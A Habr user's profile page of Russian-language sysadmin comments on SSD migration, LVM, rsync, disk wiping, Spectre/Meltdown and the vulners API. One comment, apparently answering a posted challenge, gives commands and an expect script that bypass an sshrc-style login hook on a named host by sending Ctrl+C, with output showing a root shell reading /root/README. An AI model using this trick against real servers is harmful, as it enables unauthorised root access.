All streams
Search
Write a publication
Pull to refresh
2
0

Пользователь

Send message
Еще забыл упомянуть: в статье не помечено, но т.к. переезд осуществляется на ssd, то уже на перенесенной системе нужно не забыть включить функционал trim'а (например так: systemctl enable fstrim.timer, для trim'а раз в неделю в рассматриваемом дистрибутиве).
Для того, чтобы разрешить удалённый доступ, необходимо задать пароль для пользователя root и запустить SSH демон

Если говорить о redhat-производных дистрибитивах, то можно на этапе загрузки добавить опции в commandline ядра: inst.sshd inst.vnc inst.vncpassword=pass. Ssh, правда, будет беспарольный, и если сеть недоверенная, то после первого захода лучше установить пароль. Этот способ удобней, если используется не livecd, а какой-нибудь minimal/netinstall и не будет подготовленных конфигов для запуска ssh с помощью systemd/init сервиса + есть vnc, если хочется графики.
задача могла бы быть ещё проще — в логический том добавляется новый диск, после чего с использованием команды pvmove данные переносятся на другой физический носитель внутри логического тома

Тут небольшая путаница. Новый диск (его раздел) добавляется в физичесий том, физический том в логическую группу томов (расширяется существующая), и затем логический том переносится внутри логической группы на другий физический носитель (физичесий том).
Единственное, что осталось сделать, это переустановить загрузчик. Это необходимо делать с использованием chroot

Можно и без chroot, у grub2-install есть опция --boot-directory. В том числе актуально, если под рукой есть только x86 live, а препарируемая система — x86_64 и chrot'нуться не получится.

Ну и как говорили выше, намного универсальней будет использовать rsync, например с опциями --delete --numeric-ids -aHAXS (сохраняем все возможные атрибуты в неизменном виде), тогда мы не зависим от фс между которыми перенос. Если сервер выключен, то ничего exclud'ить не надо. А если нужно минимизировать время простоя, то обычно делают 3ой rsync (в live режиме с exclud'ами, еще раз, чтобы синхронизировать разницу, которая накопилась во время первого прогона и 3ий раз после выключения).
Зря минусуют предыдущего комментатора, т.к. это на самом деле разные операции для разных целей. ioctl BLKDISCARD (ATA TRIM) не гарантирует какого-то общего поведения на всех устройствах, все зависит от firmware конкретно диска. После discard'а контроллер диска может возвращать нули, прошлые данные, случайные данные, а может поведение вообще не быть четко описанным. Также есть и другие ata комманды: ATA SECURE TRIM (ioctl BLKSECDISCARD, blkdiscard -s), ATA SECURITY ERASE UNIT (hdparm --security-erase), но опять же их поведение может быть по разному реализовано в firmware различных дисков.
Поэтому топикастер заполняет сначала весь диск случайными данными, чтобы точно нельзя было достать прошлые данные напрямую с диска. После чего делается blkdiscard уже для других целей — помечаем все блоки как свободные, чтобы вернуть показатели производительности ssd диска к изначальным. При этом мы уже не волнуемя, что с диска можно будет достать старые данные при любом поведение discard'а.
Ну и для dd лучше поднять bs хотя бы до 1M-2M — меньше write iops на диск будет, больше по скорости можно будет разогнаться. И oflag=direct добавить, мы же хотим быть уверены, что сразу по факту все перезаписано. Ну или можно использовать специализированную утилиту — shred.
что будет запуcкать ssh?

Ничего, сессия завершится. Но как уже обращали внимание выше, для этого случая есть специально разработанный механизм — pam, его и нужно использовать. Можно как свой модуль написать так и использовать pam_exec для запуска срипта/программы.
Да, такой же принцип:
execve("/bin/sh", ["sh", "-c", "/bin/bash -c '/bin/sh .ssh/rc'"]...

Никто не мешает послать sigint в нужный момент. Легко проверить на чем-нибудь типа «sleep 10;echo hello».
ssh root@149.154.64.101 /bin/sh
выльется в "$SHELL" -c "$command", strace:

strace -e execve -f -p $server_sshd_pid
execve("/bin/bash", ["bash", "-c", "/bin/sh"], [/* 8 vars */]) = 0

Возможно не на всех версиях openssh.
ssh -vvv -i everebody root@149.154.64.101

Ловим что-нибудь типа «debug2: shell request accepted on channel 0» и посылаем в этот момент «Ctrl+c»:

Last failed login: Tue Mar 20 02:41:12 EDT 2018 from 58.242.83.24 on ssh:notty
There were 23 failed login attempts since the last successful login.
Last login: Tue Mar 20 02:40:14 2018 from 95.154.75.23
^C-bash-4.2# cat /root/README
Привет всемогущий инжинер. Пароль. 

"Другой жизни не будет"

Можно автоматизировать с помощью expect или правкой ssh клиента. Вручную тоже очень быстро ловится нужный момент.

Пример для expect:

spawn ssh -vv -i everebody root@149.154.64.101
expect "debug2: shell request accepted on channel 0" { send "\x03" }
interact
Meltdown позволяет читать всю память со скоростью 500кб / сек

Meltdown никак не позволяет читать память за пределами гостевой ОС (если речь идет об аппаратной виртуализации).
Единственный вектор атаки для guest->hypervisor или guest<->guest — это Spectre v2. А в этом случае единственное, что можно будет сделать, это при удачном стечении обстоятельств «натренировать» процесс за пределами ВМ обращаться к своей же памяти, но по незапланированному адресу. После чего все еще будет нужен сторонний способ для обращения в ту же область памяти этого процесса, чтобы попытаться сделать какой-либо вывод о содержимом памяти по интересующему адресу. Все это в совокупности сводит такой тип атаки в случае стандратной конфигурации (в частности отстутсвуют нестандартные опции ядра, облегчающие вторую часть эксплуатации уязвимости) к крайне маловероятной.
Справедливо только для KVM

И какой уровень деградации под этим понимается в абсолютной и относительной велечине? +19 us на io, например, это много? А какой уровень тогда у VMware или Hyper-V?
Спасибо, работает.

Еще для RedHat находятся «лишние» уязвимости, из-за того парсятся бюллетени не только для «Red Hat Enterprise Linux Server», а и для всех остальных дистрибутивов заданной ветки (например Red Hat Gluster Storage Server).

Пример:

curl -s "https://vulners.com/api/v3/audit/rpm/?os=redhat&version=6.8&package=samba-winbind-clients-3.6.23-35.el6_8.x86_64" | grep bulletinID -m1
            "bulletinID": "RHSA-2016:0015",

В то время как RHSA-2016:0015 актуален только для Red Hat Gluster Storage Server.

Т.е. или нужно связать redhat только с «Red Hat Enterprise Linux Server» или добавить возможность указать более точно версию RedHat.
curl -s https://vulners.com/api/v3/search/id?id=RHSA-2015:1943 | grep OSVersion | uniq
            "OSVersion": "any",

Получаем «OSVersion»: «any» для всех пакетов, хотя тут видим, что этот RHSA-announce актуален только для RedHat версий 7.*.
2

Information

Rating
Does not participate
Registered
Activity